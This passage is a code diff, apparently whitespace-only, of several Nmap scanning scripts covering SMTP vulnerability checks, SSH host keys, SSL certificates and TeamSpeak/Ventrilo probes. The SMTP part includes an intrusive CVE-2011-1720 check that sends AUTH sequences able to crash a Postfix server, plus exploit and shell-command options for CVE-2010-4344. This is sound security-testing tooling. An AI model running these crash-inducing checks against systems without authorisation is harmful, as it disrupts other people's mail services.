exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'),
shell_cmd = stdnse.get_script_args('exploit.cmd') or
stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'),
stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'),
}
if smtp_opts.shell_cmd then
smtp_opts.exploit = true

View File

@@ -49,7 +49,7 @@ categories = {"intrusive", "vuln"}
portrule = shortport.port_or_service({25, 465, 587},
{"smtp", "smtps", "submission"})
{"smtp", "smtps", "submission"})
local AUTH_VULN = {
-- AUTH MECHANISM
@@ -116,7 +116,7 @@ end
local function kill_smtpd(socket, mech, mkill)
local killed, ret = false
local status, response = smtp.query(socket, "AUTH",
string.format("%s", mech))
string.format("%s", mech))
if not status then
return status, response
end
@@ -130,7 +130,7 @@ local function kill_smtpd(socket, mech, mkill)
smtp.query(socket, "*")
status, response = smtp.query(socket, "AUTH",
string.format("%s", mkill))
string.format("%s", mkill))
if status then
-- abort the last AUTH command.
status, response = smtp.query(socket, "*")
@@ -152,10 +152,10 @@ end
-- http://www.postfix.org/CVE-2011-1720.html
local function check_smtpd(smtp_opts)
local socket, ret = smtp.connect(smtp_opts.host,
smtp_opts.port,
{ssl = false,
recv_before = true,
lines = 1})
smtp_opts.port,
{ssl = false,
recv_before = true,
lines = 1})
if not socket then
return socket, ret
@@ -206,7 +206,7 @@ local function check_smtpd(smtp_opts)
if (#auth_mech_str > 0) then
vuln.extra_info = {}
table.insert(vuln.extra_info,
string.format("Available AUTH MECHANISMS: %s", auth_mech_str))
string.format("Available AUTH MECHANISMS: %s", auth_mech_str))
-- maybe vulnerable
if next(auth_mech_list) then
@@ -231,7 +231,7 @@ local function check_smtpd(smtp_opts)
table.insert(vuln.check_results,
string.format("AUTH tests:%s", auth_tests))
table.insert(vuln.check_results,
string.format("VULNERABLE (%s => %s)", mech, mkill))
string.format("VULNERABLE (%s => %s)", mech, mkill))
return smtp_finish(nil, true)
end
@@ -243,11 +243,11 @@ local function check_smtpd(smtp_opts)
end
table.insert(vuln.check_results, string.format("AUTH tests:%s",
auth_tests))
auth_tests))
end
else
stdnse.print_debug(2, "%s: Authentication is not available",
SCRIPT_NAME)
SCRIPT_NAME)
table.insert(vuln.check_results, "Authentication is not available")
end
@@ -260,7 +260,7 @@ action = function(host, port)
host = host,
port = port,
domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or
smtp.get_domain(host),
smtp.get_domain(host),
vuln = {
title = 'Postfix SMTP server Cyrus SASL Memory Corruption',
IDS = {CVE = 'CVE-2011-1720', OSVDB = '72259'},

View File

@@ -170,7 +170,7 @@ local function check_keys(host, keys, f)
if not foundhostname then
for _, k in ipairs(keys_found) do
if ("%s %s"):format(parts[2], parts[3]) == k then
table.insert(same_key_hashed, {lnumber = lnumber})
table.insert(same_key_hashed, {lnumber = lnumber})
end
end
end
@@ -182,9 +182,9 @@ local function check_keys(host, keys, f)
else
-- Is the key the same but the clear text hostname isn't?
for _, k in ipairs(keys_found) do
if ("%s %s"):format(parts[2], parts[3]) == k then
table.insert(same_key, {name=parts[1], key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber})
end
if ("%s %s"):format(parts[2], parts[3]) == k then
table.insert(same_key, {name=parts[1], key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber})
end
end
end
end
@@ -204,7 +204,7 @@ local function check_keys(host, keys, f)
end
end
if not matched then
table.insert(different_keys, k)
table.insert(different_keys, k)
end
end
@@ -214,30 +214,30 @@ local function check_keys(host, keys, f)
return_string = return_string .. "\n\t" .. "No entry for scanned host found in known_hosts file."
else
if next(matched_keys) or next(same_key_hashed) or next(same_key) then
return_string = return_string .. "\n\tGOOD Matches in known_hosts file: "
if next(matched_keys) then
for __, gm in ipairs(matched_keys) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
end
return_string = return_string .. "\n\tGOOD Matches in known_hosts file: "
if next(matched_keys) then
for __, gm in ipairs(matched_keys) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
end
if next(same_key) then
for __, gm in ipairs(same_key) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
end
end
if next(same_key) then
for __, gm in ipairs(same_key) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
end
end
if next(same_key_hashed) then
for __, gm in ipairs(same_key_hashed) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": <unknown>"
end
if next(same_key_hashed) then
for __, gm in ipairs(same_key_hashed) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": <unknown>"
end
end
if different_keys ~= 0 then
return_string = return_string .. "\n\tWRONG Matches in known_hosts file: "
for __, gm in ipairs(different_keys) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
end
if different_keys ~= 0 then
return_string = return_string .. "\n\tWRONG Matches in known_hosts file: "
for __, gm in ipairs(different_keys) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
end
end
end
end
return true, return_string
@@ -275,11 +275,11 @@ local function portaction(host, port)
for _, key in ipairs( keys ) do
add_key_to_registry( host, key )
table.insert(output_tab, {
fingerprint=stdnse.tohex(key.fingerprint),
type=key.key_type,
bits=key.bits,
key=base64.enc(key.key),
})
fingerprint=stdnse.tohex(key.fingerprint),
type=key.key_type,
bits=key.bits,
key=base64.enc(key.key),
})
if format:find( 'hex', 1, true ) or all_formats then
table.insert( output, ssh1.fingerprint_hex( key.fingerprint, key.algorithm, key.bits ) )
end

View File

@@ -116,60 +116,60 @@ categories = { "default", "safe", "discovery" }
portrule = function(host, port)
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
end
-- Find the index of a value in an array.
function table_find(t, value)
local i, v
for i, v in ipairs(t) do
if v == value then
return i
end
local i, v
for i, v in ipairs(t) do
if v == value then
return i
end
return nil
end
return nil
end
function date_to_string(date)
if not date then
return "MISSING"
end
if type(date) == "string" then
return string.format("Can't parse; string is \"%s\"", date)
else
return stdnse.format_timestamp(stdnse.date_to_timestamp(date, 0), 0)
end
if not date then
return "MISSING"
end
if type(date) == "string" then
return string.format("Can't parse; string is \"%s\"", date)
else
return stdnse.format_timestamp(stdnse.date_to_timestamp(date, 0), 0)
end
end
-- These are the subject/issuer name fields that will be shown, in this order,
-- without a high verbosity.
local NON_VERBOSE_FIELDS = { "commonName", "organizationName",
"stateOrProvinceName", "countryName" }
"stateOrProvinceName", "countryName" }
function stringify_name(name)
local fields = {}
local _, k, v
if not name then
return nil
local fields = {}
local _, k, v
if not name then
return nil
end
for _, k in ipairs(NON_VERBOSE_FIELDS) do
v = name[k]
if v then
fields[#fields + 1] = string.format("%s=%s", k, v)
end
for _, k in ipairs(NON_VERBOSE_FIELDS) do
v = name[k]
if v then
fields[#fields + 1] = string.format("%s=%s", k, v)
end
if nmap.verbosity() > 1 then
for k, v in pairs(name) do
-- Don't include a field twice.
if not table_find(NON_VERBOSE_FIELDS, k) then
if type(k) == "table" then
k = stdnse.strjoin(".", k)
end
fields[#fields + 1] = string.format("%s=%s", k, v)
end
end
if nmap.verbosity() > 1 then
for k, v in pairs(name) do
-- Don't include a field twice.
if not table_find(NON_VERBOSE_FIELDS, k) then
if type(k) == "table" then
k = stdnse.strjoin(".", k)
end
fields[#fields + 1] = string.format("%s=%s", k, v)
end
end
end
return stdnse.strjoin("/", fields)
end
return stdnse.strjoin("/", fields)
end
local function name_to_table(name)
@@ -184,61 +184,61 @@ local function name_to_table(name)
end
local function output_tab(cert)
local o = stdnse.output_table()
o.subject = name_to_table(cert.subject)
o.issuer = name_to_table(cert.issuer)
o.pubkey = cert.pubkey
o.validity = {}
for k, v in pairs(cert.validity) do
if type(v)=="string" then
o.validity[k] = v
else
o.validity[k] = stdnse.format_timestamp(stdnse.date_to_timestamp(v, 0), 0)
end
local o = stdnse.output_table()
o.subject = name_to_table(cert.subject)
o.issuer = name_to_table(cert.issuer)
o.pubkey = cert.pubkey
o.validity = {}
for k, v in pairs(cert.validity) do
if type(v)=="string" then
o.validity[k] = v
else
o.validity[k] = stdnse.format_timestamp(stdnse.date_to_timestamp(v, 0), 0)
end
o.md5 = stdnse.tohex(cert:digest("md5"))
o.sha1 = stdnse.tohex(cert:digest("sha1"))
o.pem = cert.pem
return o
end
o.md5 = stdnse.tohex(cert:digest("md5"))
o.sha1 = stdnse.tohex(cert:digest("sha1"))
o.pem = cert.pem
return o
end
local function output_str(cert)
local lines = {}
local lines = {}
lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
if nmap.verbosity() > 0 then
lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer)
end
if nmap.verbosity() > 0 then
lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer)
end
if nmap.verbosity() > 0 then
lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type
lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits
end
if nmap.verbosity() > 0 then
lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type
lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits
end
lines[#lines + 1] = "Not valid before: " ..
date_to_string(cert.validity.notBefore)
lines[#lines + 1] = "Not valid after: " ..
date_to_string(cert.validity.notAfter)
lines[#lines + 1] = "Not valid before: " ..
date_to_string(cert.validity.notBefore)
lines[#lines + 1] = "Not valid after: " ..
date_to_string(cert.validity.notAfter)
if nmap.verbosity() > 0 then
lines[#lines + 1] = "MD5: " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 })
lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
end
if nmap.verbosity() > 0 then
lines[#lines + 1] = "MD5: " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 })
lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
end
if nmap.verbosity() > 1 then
lines[#lines + 1] = cert.pem
end
return stdnse.strjoin("\n", lines)
if nmap.verbosity() > 1 then
lines[#lines + 1] = cert.pem
end
return stdnse.strjoin("\n", lines)
end
action = function(host, port)
local status, cert = sslcert.getCertificate(host, port)
if ( not(status) ) then
return
end
local status, cert = sslcert.getCertificate(host, port)
if ( not(status) ) then
return
end
return output_tab(cert), output_str(cert)
return output_tab(cert), output_str(cert)
end

View File

@@ -26,36 +26,36 @@ local payload = "\xf4\xbe\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x0
portrule = shortport.version_port_or_service({8767}, "teamspeak2", "udp")
action = function(host, port)
local status, result = comm.exchange(
host, port.number, payload, { proto = "udp", timeout = 3000 })
if not status then
return
end
nmap.set_port_state(host, port, "open")
local name, platform, version = string.match(result,
"^\xf4\xbe\x04\0\0\0\0\0.............([^\0]*)%G+([^\0]*)\0*(........)")
if not name then
return
end
port.version.name = "teamspeak2"
port.version.name_confidence = 10
port.version.product = "TeamSpeak"
if name == "" then
port.version.version = "2"
else
local _, v_a, v_b, v_c, v_d = bin.unpack("<SSSS", version)
port.version.version = v_a .. "." .. v_b .. "." .. v_c .. "." .. v_d
port.version.extrainfo = "name: " .. name .. "; no password"
if platform == "Win32" then
port.version.ostype = "Windows"
elseif platform == "Linux" then
port.version.ostype = "Linux"
end
end
nmap.set_port_version(host, port, "hardmatched")
local status, result = comm.exchange(
host, port.number, payload, { proto = "udp", timeout = 3000 })
if not status then
return
end
nmap.set_port_state(host, port, "open")
local name, platform, version = string.match(result,
"^\xf4\xbe\x04\0\0\0\0\0.............([^\0]*)%G+([^\0]*)\0*(........)")
if not name then
return
end
port.version.name = "teamspeak2"
port.version.name_confidence = 10
port.version.product = "TeamSpeak"
if name == "" then
port.version.version = "2"
else
local _, v_a, v_b, v_c, v_d = bin.unpack("<SSSS", version)
port.version.version = v_a .. "." .. v_b .. "." .. v_c .. "." .. v_d
port.version.extrainfo = "name: " .. name .. "; no password"
if platform == "Win32" then
port.version.ostype = "Windows"
elseif platform == "Linux" then
port.version.ostype = "Linux"
end
end
nmap.set_port_version(host, port, "hardmatched")
return
end

View File

@@ -156,76 +156,76 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = { "default", "discovery", "safe", "version" }
local crypt_head = {
0x80,0xe5,0x0e,0x38,0xba,0x63,0x4c,0x99,0x88,0x63,0x4c,0xd6,0x54,0xb8,0x65,0x7e,
0xbf,0x8a,0xf0,0x17,0x8a,0xaa,0x4d,0x0f,0xb7,0x23,0x27,0xf6,0xeb,0x12,0xf8,0xea,
0x17,0xb7,0xcf,0x52,0x57,0xcb,0x51,0xcf,0x1b,0x14,0xfd,0x6f,0x84,0x38,0xb5,0x24,
0x11,0xcf,0x7a,0x75,0x7a,0xbb,0x78,0x74,0xdc,0xbc,0x42,0xf0,0x17,0x3f,0x5e,0xeb,
0x74,0x77,0x04,0x4e,0x8c,0xaf,0x23,0xdc,0x65,0xdf,0xa5,0x65,0xdd,0x7d,0xf4,0x3c,
0x4c,0x95,0xbd,0xeb,0x65,0x1c,0xf4,0x24,0x5d,0x82,0x18,0xfb,0x50,0x86,0xb8,0x53,
0xe0,0x4e,0x36,0x96,0x1f,0xb7,0xcb,0xaa,0xaf,0xea,0xcb,0x20,0x27,0x30,0x2a,0xae,
0xb9,0x07,0x40,0xdf,0x12,0x75,0xc9,0x09,0x82,0x9c,0x30,0x80,0x5d,0x8f,0x0d,0x09,
0xa1,0x64,0xec,0x91,0xd8,0x8a,0x50,0x1f,0x40,0x5d,0xf7,0x08,0x2a,0xf8,0x60,0x62,
0xa0,0x4a,0x8b,0xba,0x4a,0x6d,0x00,0x0a,0x93,0x32,0x12,0xe5,0x07,0x01,0x65,0xf5,
0xff,0xe0,0xae,0xa7,0x81,0xd1,0xba,0x25,0x62,0x61,0xb2,0x85,0xad,0x7e,0x9d,0x3f,
0x49,0x89,0x26,0xe5,0xd5,0xac,0x9f,0x0e,0xd7,0x6e,0x47,0x94,0x16,0x84,0xc8,0xff,
0x44,0xea,0x04,0x40,0xe0,0x33,0x11,0xa3,0x5b,0x1e,0x82,0xff,0x7a,0x69,0xe9,0x2f,
0xfb,0xea,0x9a,0xc6,0x7b,0xdb,0xb1,0xff,0x97,0x76,0x56,0xf3,0x52,0xc2,0x3f,0x0f,
0xb6,0xac,0x77,0xc4,0xbf,0x59,0x5e,0x80,0x74,0xbb,0xf2,0xde,0x57,0x62,0x4c,0x1a,
0xff,0x95,0x6d,0xc7,0x04,0xa2,0x3b,0xc4,0x1b,0x72,0xc7,0x6c,0x82,0x60,0xd1,0x0d
0x80,0xe5,0x0e,0x38,0xba,0x63,0x4c,0x99,0x88,0x63,0x4c,0xd6,0x54,0xb8,0x65,0x7e,
0xbf,0x8a,0xf0,0x17,0x8a,0xaa,0x4d,0x0f,0xb7,0x23,0x27,0xf6,0xeb,0x12,0xf8,0xea,
0x17,0xb7,0xcf,0x52,0x57,0xcb,0x51,0xcf,0x1b,0x14,0xfd,0x6f,0x84,0x38,0xb5,0x24,
0x11,0xcf,0x7a,0x75,0x7a,0xbb,0x78,0x74,0xdc,0xbc,0x42,0xf0,0x17,0x3f,0x5e,0xeb,
0x74,0x77,0x04,0x4e,0x8c,0xaf,0x23,0xdc,0x65,0xdf,0xa5,0x65,0xdd,0x7d,0xf4,0x3c,
0x4c,0x95,0xbd,0xeb,0x65,0x1c,0xf4,0x24,0x5d,0x82,0x18,0xfb,0x50,0x86,0xb8,0x53,
0xe0,0x4e,0x36,0x96,0x1f,0xb7,0xcb,0xaa,0xaf,0xea,0xcb,0x20,0x27,0x30,0x2a,0xae,
0xb9,0x07,0x40,0xdf,0x12,0x75,0xc9,0x09,0x82,0x9c,0x30,0x80,0x5d,0x8f,0x0d,0x09,
0xa1,0x64,0xec,0x91,0xd8,0x8a,0x50,0x1f,0x40,0x5d,0xf7,0x08,0x2a,0xf8,0x60,0x62,
0xa0,0x4a,0x8b,0xba,0x4a,0x6d,0x00,0x0a,0x93,0x32,0x12,0xe5,0x07,0x01,0x65,0xf5,
0xff,0xe0,0xae,0xa7,0x81,0xd1,0xba,0x25,0x62,0x61,0xb2,0x85,0xad,0x7e,0x9d,0x3f,
0x49,0x89,0x26,0xe5,0xd5,0xac,0x9f,0x0e,0xd7,0x6e,0x47,0x94,0x16,0x84,0xc8,0xff,
0x44,0xea,0x04,0x40,0xe0,0x33,0x11,0xa3,0x5b,0x1e,0x82,0xff,0x7a,0x69,0xe9,0x2f,
0xfb,0xea,0x9a,0xc6,0x7b,0xdb,0xb1,0xff,0x97,0x76,0x56,0xf3,0x52,0xc2,0x3f,0x0f,
0xb6,0xac,0x77,0xc4,0xbf,0x59,0x5e,0x80,0x74,0xbb,0xf2,0xde,0x57,0x62,0x4c,0x1a,
0xff,0x95,0x6d,0xc7,0x04,0xa2,0x3b,0xc4,0x1b,0x72,0xc7,0x6c,0x82,0x60,0xd1,0x0d
}
local crypt_data = {
0x82,0x8b,0x7f,0x68,0x90,0xe0,0x44,0x09,0x19,0x3b,0x8e,0x5f,0xc2,0x82,0x38,0x23,
0x6d,0xdb,0x62,0x49,0x52,0x6e,0x21,0xdf,0x51,0x6c,0x76,0x37,0x86,0x50,0x7d,0x48,
0x1f,0x65,0xe7,0x52,0x6a,0x88,0xaa,0xc1,0x32,0x2f,0xf7,0x54,0x4c,0xaa,0x6d,0x7e,
0x6d,0xa9,0x8c,0x0d,0x3f,0xff,0x6c,0x09,0xb3,0xa5,0xaf,0xdf,0x98,0x02,0xb4,0xbe,
0x6d,0x69,0x0d,0x42,0x73,0xe4,0x34,0x50,0x07,0x30,0x79,0x41,0x2f,0x08,0x3f,0x42,
0x73,0xa7,0x68,0xfa,0xee,0x88,0x0e,0x6e,0xa4,0x70,0x74,0x22,0x16,0xae,0x3c,0x81,
0x14,0xa1,0xda,0x7f,0xd3,0x7c,0x48,0x7d,0x3f,0x46,0xfb,0x6d,0x92,0x25,0x17,0x36,
0x26,0xdb,0xdf,0x5a,0x87,0x91,0x6f,0xd6,0xcd,0xd4,0xad,0x4a,0x29,0xdd,0x7d,0x59,
0xbd,0x15,0x34,0x53,0xb1,0xd8,0x50,0x11,0x83,0x79,0x66,0x21,0x9e,0x87,0x5b,0x24,
0x2f,0x4f,0xd7,0x73,0x34,0xa2,0xf7,0x09,0xd5,0xd9,0x42,0x9d,0xf8,0x15,0xdf,0x0e,
0x10,0xcc,0x05,0x04,0x35,0x81,0xb2,0xd5,0x7a,0xd2,0xa0,0xa5,0x7b,0xb8,0x75,0xd2,
0x35,0x0b,0x39,0x8f,0x1b,0x44,0x0e,0xce,0x66,0x87,0x1b,0x64,0xac,0xe1,0xca,0x67,
0xb4,0xce,0x33,0xdb,0x89,0xfe,0xd8,0x8e,0xcd,0x58,0x92,0x41,0x50,0x40,0xcb,0x08,
0xe1,0x15,0xee,0xf4,0x64,0xfe,0x1c,0xee,0x25,0xe7,0x21,0xe6,0x6c,0xc6,0xa6,0x2e,
0x52,0x23,0xa7,0x20,0xd2,0xd7,0x28,0x07,0x23,0x14,0x24,0x3d,0x45,0xa5,0xc7,0x90,
0xdb,0x77,0xdd,0xea,0x38,0x59,0x89,0x32,0xbc,0x00,0x3a,0x6d,0x61,0x4e,0xdb,0x29
0x82,0x8b,0x7f,0x68,0x90,0xe0,0x44,0x09,0x19,0x3b,0x8e,0x5f,0xc2,0x82,0x38,0x23,
0x6d,0xdb,0x62,0x49,0x52,0x6e,0x21,0xdf,0x51,0x6c,0x76,0x37,0x86,0x50,0x7d,0x48,
0x1f,0x65,0xe7,0x52,0x6a,0x88,0xaa,0xc1,0x32,0x2f,0xf7,0x54,0x4c,0xaa,0x6d,0x7e,
0x6d,0xa9,0x8c,0x0d,0x3f,0xff,0x6c,0x09,0xb3,0xa5,0xaf,0xdf,0x98,0x02,0xb4,0xbe,
0x6d,0x69,0x0d,0x42,0x73,0xe4,0x34,0x50,0x07,0x30,0x79,0x41,0x2f,0x08,0x3f,0x42,
0x73,0xa7,0x68,0xfa,0xee,0x88,0x0e,0x6e,0xa4,0x70,0x74,0x22,0x16,0xae,0x3c,0x81,
0x14,0xa1,0xda,0x7f,0xd3,0x7c,0x48,0x7d,0x3f,0x46,0xfb,0x6d,0x92,0x25,0x17,0x36,
0x26,0xdb,0xdf,0x5a,0x87,0x91,0x6f,0xd6,0xcd,0xd4,0xad,0x4a,0x29,0xdd,0x7d,0x59,
0xbd,0x15,0x34,0x53,0xb1,0xd8,0x50,0x11,0x83,0x79,0x66,0x21,0x9e,0x87,0x5b,0x24,
0x2f,0x4f,0xd7,0x73,0x34,0xa2,0xf7,0x09,0xd5,0xd9,0x42,0x9d,0xf8,0x15,0xdf,0x0e,
0x10,0xcc,0x05,0x04,0x35,0x81,0xb2,0xd5,0x7a,0xd2,0xa0,0xa5,0x7b,0xb8,0x75,0xd2,
0x35,0x0b,0x39,0x8f,0x1b,0x44,0x0e,0xce,0x66,0x87,0x1b,0x64,0xac,0xe1,0xca,0x67,
0xb4,0xce,0x33,0xdb,0x89,0xfe,0xd8,0x8e,0xcd,0x58,0x92,0x41,0x50,0x40,0xcb,0x08,
0xe1,0x15,0xee,0xf4,0x64,0xfe,0x1c,0xee,0x25,0xe7,0x21,0xe6,0x6c,0xc6,0xa6,0x2e,
0x52,0x23,0xa7,0x20,0xd2,0xd7,0x28,0x07,0x23,0x14,0x24,0x3d,0x45,0xa5,0xc7,0x90,
0xdb,0x77,0xdd,0xea,0x38,0x59,0x89,0x32,0xbc,0x00,0x3a,0x6d,0x61,0x4e,0xdb,0x29
}
local crypt_crc = {
0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,
0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,
0x1231,0x0210,0x3273,0x2252,0x52b5,0x4294,0x72f7,0x62d6,
0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de,
0x2462,0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485,
0xa56a,0xb54b,0x8528,0x9509,0xe5ee,0xf5cf,0xc5ac,0xd58d,
0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6,0x5695,0x46b4,
0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc,
0x48c4,0x58e5,0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823,
0xc9cc,0xd9ed,0xe98e,0xf9af,0x8948,0x9969,0xa90a,0xb92b,
0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a33,0x2a12,
0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a,
0x6ca6,0x7c87,0x4ce4,0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41,
0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,0xbd0b,0x8d68,0x9d49,
0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e70,
0xff9f,0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78,
0x9188,0x81a9,0xb1ca,0xa1eb,0xd10c,0xc12d,0xf14e,0xe16f,
0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x4025,0x7046,0x6067,
0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e,
0x02b1,0x1290,0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256,
0xb5ea,0xa5cb,0x95a8,0x8589,0xf56e,0xe54f,0xd52c,0xc50d,
0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x5424,0x4405,
0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c,
0x26d3,0x36f2,0x0691,0x16b0,0x6657,0x7676,0x4615,0x5634,
0xd94c,0xc96d,0xf90e,0xe92f,0x99c8,0x89e9,0xb98a,0xa9ab,
0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28a3,
0xcb7d,0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a,
0x4a75,0x5a54,0x6a37,0x7a16,0x0af1,0x1ad0,0x2ab3,0x3a92,
0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b,0x9de8,0x8dc9,
0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1,
0xef1f,0xff3e,0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8,
0x6e17,0x7e36,0x4e55,0x5e74,0x2e93,0x3eb2,0x0ed1,0x1ef0
0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,
0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,
0x1231,0x0210,0x3273,0x2252,0x52b5,0x4294,0x72f7,0x62d6,
0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de,
0x2462,0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485,
0xa56a,0xb54b,0x8528,0x9509,0xe5ee,0xf5cf,0xc5ac,0xd58d,
0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6,0x5695,0x46b4,
0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc,
0x48c4,0x58e5,0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823,
0xc9cc,0xd9ed,0xe98e,0xf9af,0x8948,0x9969,0xa90a,0xb92b,
0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a33,0x2a12,
0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a,
0x6ca6,0x7c87,0x4ce4,0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41,
0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,0xbd0b,0x8d68,0x9d49,
0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e70,
0xff9f,0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78,
0x9188,0x81a9,0xb1ca,0xa1eb,0xd10c,0xc12d,0xf14e,0xe16f,
0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x4025,0x7046,0x6067,
0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e,
0x02b1,0x1290,0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256,
0xb5ea,0xa5cb,0x95a8,0x8589,0xf56e,0xe54f,0xd52c,0xc50d,
0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x5424,0x4405,
0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c,
0x26d3,0x36f2,0x0691,0x16b0,0x6657,0x7676,0x4615,0x5634,
0xd94c,0xc96d,0xf90e,0xe92f,0x99c8,0x89e9,0xb98a,0xa9ab,
0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28a3,
0xcb7d,0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a,
0x4a75,0x5a54,0x6a37,0x7a16,0x0af1,0x1ad0,0x2ab3,0x3a92,
0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b,0x9de8,0x8dc9,
0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1,
0xef1f,0xff3e,0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8,
0x6e17,0x7e36,0x4e55,0x5e74,0x2e93,0x3eb2,0x0ed1,0x1ef0
}
-- The probe payload is static as it has proven to be unecessary to forge a new
@@ -239,15 +239,15 @@ local static_probe_payload = "\x49\xde\xdf\xd0\x65\xc9\x21\xc4\x90\x0d\xbf\x23\x
-- @param auth the server authentication scheme code
-- @return string string interpretation of the server authentication scheme
local auth_str = function(auth)
if auth == "0" then
return "none"
elseif auth == "1" then
return "pw"
elseif auth == "2" then
return "user/pw"
else
return auth
end
if auth == "0" then
return "none"
elseif auth == "1" then
return "pw"
elseif auth == "2" then
return "user/pw"
else
return auth
end
end
-- Formats an uptime string containing a number of seconds.
@@ -255,15 +255,15 @@ end
-- @param uptime number of seconds of uptime
-- @return uptime_formatted formatted uptime string (hours and minutes)
local uptime_str = function(uptime)
local uptime_num = tonumber(uptime)
if not uptime_num then
return uptime
end
local uptime_num = tonumber(uptime)
if not uptime_num then
return uptime
end
local h = math.floor(uptime_num/3600)
local m = math.floor((uptime_num - h*3600)/60)
local h = math.floor(uptime_num/3600)
local m = math.floor((uptime_num - h*3600)/60)
return h .. "h:" .. m .. "m"
return h .. "h:" .. m .. "m"
end
-- Decrypts the Ventrilo UDP status response header segment.
@@ -276,33 +276,33 @@ end
-- @return key key for decrypting the data segment of this response packet
-- @return crc_sum the crc checksum of the full response data segment
local dec_head = function(str)
local head = { string.byte(str, 1, 20) }
local head = { string.byte(str, 1, 20) }
head[1], head[2] = head[2], head[1]
local a1 = head[1]
if a1 == 0 then
return table.concat(head)
end
local a2 = head[2]
head[1], head[2] = head[2], head[1]
local a1 = head[1]
if a1 == 0 then
return table.concat(head)
end
local a2 = head[2]
for i = 3,20 do
head[i] = bit.band(head[i] - (crypt_head[a2 + 1] + ((i - 3) % 5)), 0xFF)
a2 = bit.band(a2 + a1, 0xFF)
end
for i = 3,20 do
